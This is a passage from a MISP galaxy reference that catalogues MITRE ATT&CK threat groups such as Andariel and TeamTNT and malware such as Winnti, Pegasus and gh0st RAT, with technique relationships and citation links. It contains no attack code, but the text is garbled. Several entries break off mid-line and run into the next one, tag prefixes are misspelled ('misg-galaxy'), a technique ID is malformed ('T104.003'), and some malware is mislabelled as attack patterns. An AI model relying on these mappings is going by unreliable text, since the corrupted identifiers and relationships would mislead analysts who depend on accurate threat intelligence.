• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="NBTscan - S0590" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 6520. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0135">https://attack.mitre.org/groups/G0135</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/">https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/</a></td>
</tr>
</tbody>
</table>

**IndigoZebra - G0136**

[IndigoZebra](https://attack.mitre.org/groups/G0136) is a suspected Chinese cyber espionage group that has been targeting Central Asian governments since at least 2014.(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)

The tag is: misp-galaxy:mitre-intrusion-set="IndigoZebra - G0136"
IndigoZebra - G0136 is also known as:

- IndigoZebra

View relationships graph

IndigoZebra - G0136 has relationships with:

- uses: misp-galaxy:mitre-malware="xCaon - S0653" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BoxCaon - S0651" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6521. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0136">https://attack.mitre.org/groups/G0136</a></td>
</tr>
</tbody>
</table>

Andariel - G0138

[Andariel](https://attack.mitre.org/groups/G0138) is a North Korean state-sponsored threat group that has been active since at least 2009. [Andariel](https://attack.mitre.org/groups/G0138) has primarily focused its operations—which have included destructive attacks—against South Korean government agencies, military organizations, and a variety of domestic companies; they have also
conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. [Andariel](https://attack.mitre.org/groups/G0138)'s notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle. (Citation: FSI Andariel Campaign Rifle July 2017)(Citation: IssueMakersLab Andariel GoldenAxe May 2017)(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)(Citation: CrowdStrike Silent Chollima Adversary September 2021)

[Andariel](https://attack.mitre.org/groups/G0138) is considered a sub-set of [Lazarus Group](https://attack.mitre.org/groups/G0032), and has been attributed to North Korea's Reconnaissance General Bureau. (Citation: Treasury North Korean Cyber Groups September 2019)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.

The tag is: `misp-galaxy:mitre-intrusion-set="Andariel - G0138"`

Andariel - G0138 is also known as:

- Andariel
- Silent Chollima

**View relationships graph**

Andariel - G0138 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="IP Addresses - T1590.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Rifdoor - S0433"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Malware - T1588.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="gh0st RAT - S0032"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6522. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf">Analysis Andariel Group.pdf</a></td>
</tr>
<tr>
<td><a href="http://www.issuemakerslab.com/research3/">research3/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0138">G0138</a></td>
</tr>
<tr>
<td><a href="https://home.treasury.gov/news/press-releases/sm774">sm774</a></td>
</tr>
<tr>
<td><a href="https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1680.do">1680.do</a></td>
</tr>
<tr>
<td><a href="https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.html">next-targets.html</a></td>
</tr>
</tbody>
</table>

TeamTNT - G0139

[TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments.(Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)

The tag is: misp-galaxy:mitre-intrusion-set="TeamTNT - G0139"

TeamTNT - G0139 is also known as:

• TeamTNT

View relationships graph

TeamTNT - G0139 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Container and Resource Discovery - T1613" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions..."
Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1552.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Hildegard - S0601" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-
- uses: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deploy Container - T1610" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Peirates - S0683" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with
estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Malicious Image - T104.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Table 6523. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0139">https://attack.mitre.org/groups/G0139</a></td>
</tr>
<tr>
<td><a href="https://blog.aquasec.com/container-security-tnt-container-attack">https://blog.aquasec.com/container-security-tnt-container-attack</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf">https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf</a></td>
</tr>
</tbody>
</table>
Malware

Name of ATT&CK software.

Malware is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Hacking Team UEFI Rootkit - S0047

[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)

The tag is: `misp-galaxy:mitre-malware="Hacking Team UEFI Rootkit - S0047"`

Hacking Team UEFI Rootkit - S0047 is also known as:

- Hacking Team UEFI Rootkit

View relationships graph

Hacking Team UEFI Rootkit - S0047 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Rootkit - T1014"` with `estimative-language:likelihood-probability="almost-certain"`

Table 6524. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0047">https://attack.mitre.org/software/S0047</a></td>
</tr>
</tbody>
</table>
X-Agent for Android - S0314

[X-Agent for Android](https://attack.mitre.org/software/S0314) is Android malware that was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data on where the victim device was used, and therefore could likely indicate the potential location of Ukrainian artillery. (Citation: CrowdStrike-Android) Is it tracked separately from the [CHOPSTICK](https://attack.mitre.org/software/S0023).

The tag is: misp-galaxy:mitre-malware="X-Agent for Android - S0314"

View relationships graph

X-Agent for Android - S0314 has relationships with:

- similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Agent (Android)" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

Table 6525. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0314">https://attack.mitre.org/software/S0314</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/wp-content/brochures/FancyBearTracksUkrainianArtillery.pdf">https://www.crowdstrike.com/wp-content/brochures/FancyBearTracksUkrainianArtillery.pdf</a></td>
</tr>
</tbody>
</table>

Red Alert 2.0 - S0539

[Red Alert 2.0](https://attack.mitre.org/software/S0539) is a banking trojan that masquerades as a VPN client.(Citation: Sophos Red Alert 2.0)

The tag is: misp-galaxy:mitre-malware="Red Alert 2.0 - S0539"

Red Alert 2.0 - S0539 is also known as:

- Red Alert 2.0

View relationships graph

Red Alert 2.0 - S0539 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1418" with estimative-
Exaramel for Linux - S0401

[Exaramel for Linux](https://attack.mitre.org/software/S0401) is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under [Exaramel for Windows](https://attack.mitre.org/software/S0343). (Citation: ESET TeleBots Oct 2018)

The tag is: `misp-galaxy:mitre-malware="Exaramel for Linux - S0401"`

Exaramel for Linux - S0401 is also known as:

- Exaramel for Linux
Exaramel for Linux - S0401 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1548.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Unx Shell - T1059.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008"` with estimative-language:likelihood-probability="almost-certain"

Table 6527. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0401">https://attack.mitre.org/software/S0401</a></td>
</tr>
</tbody>
</table>

**Winnti for Linux - S0430**

[Winnti for Linux](https://attack.mitre.org/software/S0430) is a trojan, seen since at least 2015, designed specifically for targeting Linux systems. Reporting indicates the winnti malware family is shared across a number of actors including [Winnti Group](https://attack.mitre.org/groups/G0044). The Windows variant is tracked separately under [Winnti for Windows](https://attack.mitre.org/software/S0141). (Citation: Chronicle Winnti for Linux May 2019)

The tag is: `misp-galaxy:mitre-malware="Winnti for Linux - S0430"`

Winnti for Linux - S0430 is also known as:
• Winnti for Linux

Winnti for Linux - S0430 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6528. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0430">https://attack.mitre.org/software/S0430</a></td>
</tr>
<tr>
<td><a href="https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a">https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a</a></td>
</tr>
</tbody>
</table>

XLoader for iOS - S0490

[XLoader for iOS](https://attack.mitre.org/software/S0490) is a malicious iOS application that is capable of gathering system information.(Citation: TrendMicro-XLoader-FakeSpy) It is tracked separately from the [XLoader for Android](https://attack.mitre.org/software/S0318).

The tag is: misp-galaxy:mitre-malware="XLoader for iOS - S0490"

XLoader for iOS - S0490 is also known as:

• XLoader for iOS

XLoader for iOS - S0490 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1646" with estimative-language:likelihood-probability="almost-certain"
Table 6529. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0490">https://attack.mitre.org/software/S0490</a></td>
</tr>
</tbody>
</table>

**Winnti for Windows - S0141**

[Winnti for Windows](https://attack.mitre.org/software/S0141) is a modular remote access Trojan (RAT) that has been used likely by multiple groups to carry out intrusions in various regions since at least 2010, including by one group referred to as the same name, [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: Kaspersky Winnti April 2013)(Citation: Microsoft Winnti Jan 2017)(Citation: Novetta Winnti April 2015)(Citation: 401 TRG Winnti Umbrella May 2018). The Linux variant is tracked separately under [Winnti for Linux](https://attack.mitre.org/software/S0430).(Citation: Chronicle Winnti for Linux May 2019)

The tag is: `misg-galaxy:mitre-malware="Winnti for Windows - S0141"`

Winnti for Windows - S0141 is also known as:

- Winnti for Windows

View relationships graph

Winnti for Windows - S0141 has relationships with:

- uses: `misg-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misg-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Winnti (Windows)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Winnti" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 6530. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://401trg.github.io/pages/burning-umbrella.html">https://401trg.github.io/pages/burning-umbrella.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0141">https://attack.mitre.org/software/S0141</a></td>
</tr>
</tbody>
</table>
Pegasus for Android - S0316

[Pegasus for Android](https://attack.mitre.org/software/S0316) is the Android version of malware that has reportedly been linked to the NSO Group. (Citation: Lookout-PegasusAndroid) (Citation: Google-Chrysaor) The iOS version is tracked separately under [Pegasus for iOS](https://attack.mitre.org/software/S0289).

The tag is: *misp-galaxy:mitre-malware="Pegasus for Android - S0316"

Pegasus for Android - S0316 is also known as:

- Pegasus for Android
- Chrysaor

View relationships graph

Pegasus for Android - S0316 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Software Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Call Log - T1636.002" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1645" with estimative-language:likelihood-probability="almost-certain"
- similar: *misp-galaxy:malpedia="Chrysaor" with estimative-language:likelihood-probability="likely"
- uses: *misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- similar: *misp-galaxy:tool="Chrysaor" with estimative-language:likelihood-probability="likely"
- uses: *misp-galaxy:mitre-attack-pattern="Calendar Entries - T1636.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with
XLoader for Android - S0318

[XLoader for Android](https://attack.mitre.org/software/S0318) is a malicious Android app first observed targeting Japan, Korea, China, Taiwan, and Hong Kong in 2018. It has more recently been observed targeting South Korean users as a pornography application. (Citation: TrendMicro-XLoader-FakeSpy)(Citation: TrendMicro-XLoader) It is tracked separately from the [XLoader for iOS](https://attack.mitre.org/software/S0490).

The tag is: *misp-galaxy:mitre-malware="XLoader for Android - S0318"*

XLoader for Android - S0318 is also known as:

- XLoader for Android

View relationships graph

XLoader for Android - S0318 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"


- uses: *misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1481.001" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1626.001" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
Pegasus for iOS - S0289

[Pegasus for iOS](https://attack.mitre.org/software/S0289) is the iOS version of malware that has reportedly been linked to the NSO Group. It has been advertised and sold to target high-value victims. (Citation: Lookout-Pegasus) (Citation: PegasusCitizenLab) The Android version is tracked separately under [Pegasus for Android](https://attack.mitre.org/software/S0316).

The tag is: `misp-galaxy:mitre-malware="Pegasus for iOS - S0289"

Pegasus for iOS - S0289 is also known as:

- Pegasus for iOS

View relationships graph

Pegasus for iOS - S0289 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:malpedia="Chrysaor"` with estimative-language:likelihood-probability="likely"
- uses: `misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1658"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409"` with estimative-language:likelihood-probability="almost-certain"
Exaramel for Windows - S0343

Exaramel for Windows - S0343 is known as:

- Exaramel for Windows

Exaramel for Windows - S0343 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

Table 6534. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0343">https://attack.mitre.org/software/S0343</a></td>
</tr>
</tbody>
</table>

P.A.S. Webshell - S0598

[P.A.S. Webshell](https://attack.mitre.org/software/S0598) is a publicly available multifunctional PHP webshell in use since at least 2016 that provides remote access and execution on target web servers.(Citation: ANSSI Sandworm January 2021)

The tag is: misp-galaxy:mitre-malware="P.A.S. Webshell - S0598"

P.A.S. Webshell - S0598 is also known as:

• P.A.S. Webshell

• Fobushell

View relationships graph

P.A.S. Webshell - S0598 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-
gh0st RAT - S0032

[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups.(Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018)

The tag is: *misp-galaxy:mitre-malware="gh0st RAT - S0032"*

gh0st RAT - S0032 is also known as:

- gh0st RAT
- Mydoor
- Moudoor

View relationships graph
gh0st RAT - S0032 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="gh0st" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1568.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 6536. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0032">https://attack.mitre.org/software/S0032</a></td>
</tr>
<tr>
